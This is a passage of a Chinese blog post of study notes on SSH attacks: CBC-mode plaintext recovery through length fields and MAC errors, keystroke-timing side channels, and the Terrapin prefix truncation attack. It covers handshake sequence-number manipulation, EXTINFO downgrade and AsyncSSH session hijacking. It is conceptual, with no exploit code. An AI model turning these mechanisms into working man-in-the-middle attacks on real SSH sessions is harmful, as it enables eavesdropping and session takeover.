mathdefault">L</span></span></span></span>长的blocks，观察ssh 触发MAC错误的那一刻。此时我们就能够根据我们发送的数据包，算出这个<code>need</code>的准确值。此时，这个<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup></mrow><annotation encoding="application/x-tex">p&#x27;_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.24810799999999997em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span></span></span></span>的完整值我们就能由这个公式得到:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">need = 4 + packet_length - block_size</span><br></pre></td></tr></table></figure><p>此时，根据 上文推到的</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mi>i</mi><mo>∗</mo></msubsup><mo>=</mo><msubsup><mi>c</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow><mo>∗</mo></msubsup><mo lspace="0em" rspace="0em">⊕</mo><msubsup><mi>p</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>c</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p^*_i = c^*_{i-1}{\oplus}p&#x27;_1{\oplus}c_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9856959999999999em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7386959999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.1072229999999998em;vertical-align:-0.305331em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.738696em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.1130000000000004em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.305331em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>我们就能获得所有的明文信息！<br>根据总结，满足如下加密算法的传输都能够被这种方式进行攻击:</p><ul><li>加密数据包中使用了长度字段</li><li>使用CBC的加密模式</li><li>允许攻击者少量传输数据</li><li>在不同的数据包错误下，返回不同的错误信息</li></ul><h4 id="攻击场景">攻击场景</h4><p>实际上，SSH也不可能允许一个用户反复的执行上述操作，其必将导致连接中断。但是，我们可以根据某些<strong>已知位置</strong>的数据进行攻击。例如，用户在进行远程登陆的时候，我们只需要将ssh通信过程中登录密钥相关逻辑进行破译，并不需要获取整个ssh通信数据。</p><h3 id="侧信道攻击">侧信道攻击</h3><p>这个攻击其实比较神奇，但是神奇之中透露着合理。这也是来自一篇<a href="https://www.usenix.org/conference/10th-usenix-security-symposium/timing-analysis-keystrokes-and-timing-attacks-ssh">USENIX的论文</a>。论文提到说，人们在敲击键盘的时候，会有一定的倾向性。某些特定的字符或者字符组合敲击的时候，时间间隔可能会变得很长或者很短。<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn02.png" alt=""></p><p>那么，通过观察数据包的特定格式，就能够猜测此时的输入内容。例如上述的通信中，通过传输数据的长度特征，就能推断出是否是正在输入<code>SU</code>指令，以及猜测当前用户的输入长度。有些时候还能够通过一些特殊的观察看到额外的值。这边要给出<a href="https://showlinkroom.me/2021/04/24/Misc-SecTraffice-writeup/">作者之前打比赛遇到过的一道题</a>，在这个题目中，虽然给出的是SSH的加密后数据包，并且给出了<code>keylog</code>，但是其实log中存在数据修改。通过一个叫做<a href="https://github.com/benjeems/packetStrider">packetStrider</a>的脚本，实际上在加密状态下，根据数据包特征依然能准确的获取部分特定的输入内容（例如回车，或者删除）。这篇论文似乎也是提出了一个类似的方案。（不过具体内容太长，没有深入理解）这边<a href="https://jfrog.com/blog/ssh-protocol-flaw-terrapin-attack-cve-2023-48795-all-you-need-to-know/">贴出一个</a>分析Terrapin-Attack的博客，这其中提到了在未提供防护的情况下，SSH数据包的特征：<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn03.png" alt=""></p><p>可以看到，在未使用防护技巧的时候，SSH的数据包时间间隔和数据大小是有明显差异的，而在SSH新修复的场景中<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn04.png" alt=""></p><p>可以看到，时间间隔变成一致的。这是因为SSH提供了一种基于时间的混淆技巧，从而让数据包的传输没有时间特征，从而避免了侧信道</p><h2 id="terrapin-attack">Terrapin Attack</h2><p>好了，完成了之前那么多的前情提要，终于可以开始介绍这个攻击了。这个攻击针对的是SSH握手阶段发起的，这边要仔细介绍一下SSH的握手阶段发生的事情：</p><h3 id="ssh握手阶段">SSH握手阶段</h3><p>SSH从握手到建立加密通信信道的流程如下:<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn05.png" alt=""></p><p><em>其中黑色的部分表示当前信道已经是加密信道了，从黑色部分开始，中间人就完全无法解析SSH通信的具体内容。</em></p><p>上图有几个细节：</p><ul><li>SSH使用的是前文提到的二进制包协议（Binary Packet Protocol，之后简称BPP）</li><li>Client和Server端的序列号都从0开始计数</li><li>通信在Newkeys之后才正式进入加密处理</li></ul><p>SSH加密的时候，会交换加密中用到的密钥，以及用于保护秘密信息的nonce。注意这里的SSH通信过程中，使用的一般是椭圆曲线的交换方式，也就是使用形如<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msup><mi>g</mi><mi>x</mi></msup><msup><mo stretchy="false">)</mo><mi>y</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>D</mi><mo>=</mo><mo stretchy="false">(</mo><msup><mi>g</mi><mi>y</mi></msup><msup><mo stretchy="false">)</mo><mi>x</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>D</mi></mrow><annotation encoding="application/x-tex">(g^x)^y mod D =(g^y)^x mod D</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">x</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">y</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">y</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">x</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span></span></span></span>的特性，完成密钥<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi><mo>=</mo><msup><mi>g</mi><mrow><mi>x</mi><mo>∗</mo><mi>y</mi></mrow></msup></mrow><annotation encoding="application/x-tex">K=g^{x*y}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8831359999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.688696em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">x</span><span class="mbin mtight">∗</span><span class="mord mathdefault mtight" style="margin-right:0.03588em;">y</span></span></span></span></span></span></span></span></span></span></span></span> 以及一些必要的nonce等数据的获取。<br>这里生成的MAC值适用于检查信息的完整性，然而单纯生成普通的MAC值（例如，对明文进行hmac计算），攻击者很容易的就能使用各种方法对数据进行伪造。此时就需要引入刚刚提到的nonce数据，以及计数器Counter。<br>SSH会使用<code>Snd</code> 和 <code>Rcv</code>两种不同的counter，前者会在发出数据包的时候自增，用于计算发出的数据包的MAC；后者会在接收到数据包的时候自增， 用于验证数据包的MAC，从而保证信道不被篡改。<br>由于SSH是基于TCP协议的，所以被认为是<strong>不发生丢包的稳定通信</strong>，因此使用的counter为隐式counter。</p><h3 id="kexinit">KEXINIT</h3><p>在<code>KEXINIT</code>阶段（如图未加密），SSH会使用椭圆加密等手段进行nonces以及支持的算法列表进行交换。这里交换的四条算法列表包括</p><ul><li>用于密钥交换的算法列表</li><li>用于服务端签名的算法</li><li>双边各使用的加密算法</li></ul><h4 id="kexdhinit">KEXDHINIT</h4><p>此时使用<code>Diff-Hellman</code>密钥交换算法进行数据交换。（也有可能使用ECDH或者PQC等算法）服务端会使用握手阶段中的<strong>数字签名</strong>对此时的数据信息进行校验。这个<strong>数字签名</strong>为之前提到的那些信息以某种固定的顺序进行计算的结果。</p><h4 id="交换用hash：仅对部分数据校验">交换用hash：仅对部分数据校验</h4><p>这里提到的<strong>数字签名</strong>只会对通信数据中的部分数据进行计算。具体来说，这个hash如下:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>H</mi><mo>=</mo><mi>H</mi><mi>A</mi><mi>S</mi><mi>H</mi><mo stretchy="false">(</mo><msub><mi>V</mi><mi>C</mi></msub><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><msub><mi>V</mi><mi>S</mi></msub><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><msub><mi>I</mi><mi>C</mi></msub><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><msub><mi>I</mi><mi>S</mi></msub><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><msub><mi>K</mi><mi>S</mi></msub><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><mi>X</mi><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><mi>K</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">H=HASH(V_C ||V_S||I_C||I_S||K_S||X||K)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="mord mathdefault">A</span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">C</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord">∣</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord">∣</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07847em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">C</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord">∣</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07847em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord">∣</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mord">∣</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mclose">)</span></span></span></span></span></p><p>这些值含义如下：</p><ul><li>HASH：一种hash算法</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>V</mi><mi>C</mi></msub><msub><mi>V</mi><mi>S</mi></msub></mrow><annotation encoding="application/x-tex">V_C  V_S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">C</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 客户端 服务器端的版本信息</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>I</mi><mi>C</mi></msub><msub><mi>I</mi><mi>S</mi></msub></mrow><annotation encoding="application/x-tex">I_C  I_S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07847em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">C</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07847em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 发生在<code>KEXINIT</code>阶段的基本信息</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>K</mi><mi>S</mi></msub></mrow><annotation encoding="application/x-tex">K_S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 来自服务器端的公钥</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span></span></span></span> 密钥交换得到的私钥</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex">X</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span></span></span></span> 一个由多个密钥值决定的数值</li></ul><p>上述的每一个值都有一个编码定义的长度域<br>注意，这里并没有把形如<strong>IGNORE MESSAGE</strong>这类消息，或者其他的消息进行编码。这就给<code>MitM</code>创造了机会</p><h4 id="序列码">序列码</h4><p>为了对每一个数据包进行唯一性标记，这里使用了<code>Snd</code>和<code>Rcv</code>两种序列码共同标记。注意，在前几个序列中并不适用MAC对发送数据进行校验，而是等整个安全信道建立的时候，MAC才会参与数据校验。并且此时发送端的<code>Snd</code>必须要和接收端的<code>Rcv</code>相等，否则会直接抛弃当前数据包</p><h3 id="terrapin-attack-攻击细节">Terrapin Attack 攻击细节</h3><p>文章提出的是一种叫做<code>prefix truncation attacks</code>前缀截断攻击的一种攻击形式。这个攻击核心即为:</p><blockquote><p>The SSH Binary Packet Protocol is not a secure channel because a MitM attacker can delete a chosen number of integrity-protected packets from the beginning of the channel in either or both directions without being detected</p></blockquote><p>攻击的核心在于能够删除SSH通信过程中的<code>Counter Number</code>，从而能够突破其完整性校验，然后强迫SSH使用低安全性的加密算法，完成完整的漏洞攻击流程。在攻击中，会使用如下的术语：</p><ul><li><code>IGNORE</code>数据包：在SSH中，部分协议支持使用<code>IGNORE</code>数据包，即由一方发往另一方，但是无需对方回显的数据包</li><li><code>UNKNOWN</code>数据包：在SSH中，如果当前数据包格式正常，但是却无法识别其类型，那么就会当成<code>UNKNOWN</code>数据包，对放则会回复一个<code>UNIMPLEMENT</code>的数据包作为回应</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>I</mi><msub><mi>V</mi><mrow><mi>k</mi><mi>d</mi><mi>f</mi></mrow></msub></mrow><annotation encoding="application/x-tex">IV_{kdf}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.969438em;vertical-align:-0.286108em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span><span class="mord mathdefault mtight">d</span><span class="mord mathdefault mtight" style="margin-right:0.10764em;">f</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span>：派生密钥，也就是例如CBC模式中，IV，或者<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mi>n</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>p</mi><mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Enc(p_i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mord mathdefault">n</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>那个值，就叫做派生密钥</li></ul><h3 id="核心漏洞成因">核心漏洞成因</h3><p>这个漏洞的核心成因为如下两点：</p><ul><li>未对握手阶段进行仔细校验。SSH在握手阶段使用了一个签名来校验完整性，但是并没有对所有的副本进行校验，而只是校验了某一个特定序列的信息</li><li>SSH的安全会话序列号是从<strong>握手阶段开始算起的，而非建立起真正的安全信道的时候</strong>。这就会导致，在安全信道真的建立起来之前的序列号本质是不受到保护的</li></ul><p>通过上述结论，我们可以使用如下的方式对目标进行攻击</p><h4 id="修改序列数">修改序列数</h4><p>通过在握手阶段插入一个数据包，我们可以增加<code>Rcv</code>的计数器。换句话说，攻击者可可以动态的修改这个<code>Snd</code>和<code>Rcv</code>值</p><h4 id="bbp上进行前缀截断攻击">BBP上进行前缀截断攻击</h4><p>核心攻击技巧：攻击者可以通过使用序列号控制来<strong>动态的删除一个安全信道建立之初的数据包</strong></p><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn06.png" alt=""></p><p>在SSH通信过程中，如果接收方的<code>Rcv</code>与发送方的<code>Snd</code>不匹配，此时就会抛弃这个数据包。这个攻击就是利用了这个机制，使得SSH会将关键的数据包进行抛弃。<br>通过上述操作，可以发动如下的攻击：<br><strong>1. BBP上进行多段前缀截断攻击</strong><br>攻击者可以通过往Client或者Server段一次性发送多个特殊的<code>IGNORE</code>数据包，从而引发多个数据包丢失，造成多段截断攻击。</p><p><strong>2. 扩展协议降级攻击</strong><br>在SSH通信中，会使用<code>EXTINFO</code>来标注当前的SSH支持的扩展协议。然而攻击者可以通过丢弃这个<code>EXTINFO</code>，造成<code>Extension Negotiation</code>，迫使安全信道降级，让服务端以为客户端无法支持这几年的安全的协议，从而迫使服务端改用可以被键盘输入时间攻击<code>keystroke timing attack</code>的老旧协议</p><p><strong>3. 恶意扩展攻击和恶意会话攻击</strong><br>在例如<code>AsyncSSH</code>这类SSH实现端上。当攻击者拥有受害者的用户名的时候，可以通过插入一个带有用户认证信息的数据包，此时受害者会直接登陆到攻击者的shell环境上，实现整个会话的劫持。</p><h4 